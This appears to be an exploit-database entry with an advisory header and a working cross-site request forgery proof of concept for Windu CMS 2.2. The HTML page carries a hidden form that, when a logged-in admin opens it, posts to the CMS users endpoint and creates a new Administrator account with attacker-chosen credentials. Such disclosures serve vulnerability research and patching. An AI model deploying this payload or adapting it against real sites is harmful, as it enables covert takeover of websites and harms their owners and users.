Windu CMS 2.2 Cross Site Request Forgery Vulnerability

2013-07-26T00:00:00
ID 1337DAY-ID-21030
Type zdt
Reporter LiquidWorm
Modified 2013-07-26T00:00:00

Description

Windu CMS version 2.2 suffers from a cross site request forgery vulnerability.

                                        
                                            <!--

Windu CMS 2.2 CSRF Add Admin Exploit


Vendor: Adam Czajkowski
Product web page: http://www.windu.org
Affected version: 2.2 rev 1430

Summary: Windu CMS is a simple, lightweight and fun-to-use
website content management software.

Desc: Windu CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any
validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

User type:

value 17  -  Admin Main    (form_key = addUserSystem)
value 9   -  Administrator (form_key = addUserSystem)
value 18  -  Content       (form_key = addUserSystem)
value 19  -  Editor        (form_key = addUserSystem)
value 14  -  Page User     (form_key = addUserPage)


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a



Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience



Advisory ID: ZSL-2013-5149
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5149.php


21.07.2013

-->


<html>
<head>
<title>Windu CMS 2.2 CSRF Add Admin Exploit</title>
</head>
<body><center><br />
<form method="POST" action="http://localhost/winducms/admin/users/?mn=admin.message.error">
<input type="hidden" name="type" value="9" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="0bl1viON" />
<input type="hidden" name="passwordCompare" value="0bl1viON" />
<input type="hidden" name="username" value="hax0r" />
<input type="hidden" name="name" value="XSRF" />
<input type="hidden" name="surname" value="PoC" />
<input type="hidden" name="form_key" value="addUserSystem" />
<input type="submit" value="Forge!" />
</form>
</body>
</html>

#  0day.today [2018-01-09]  #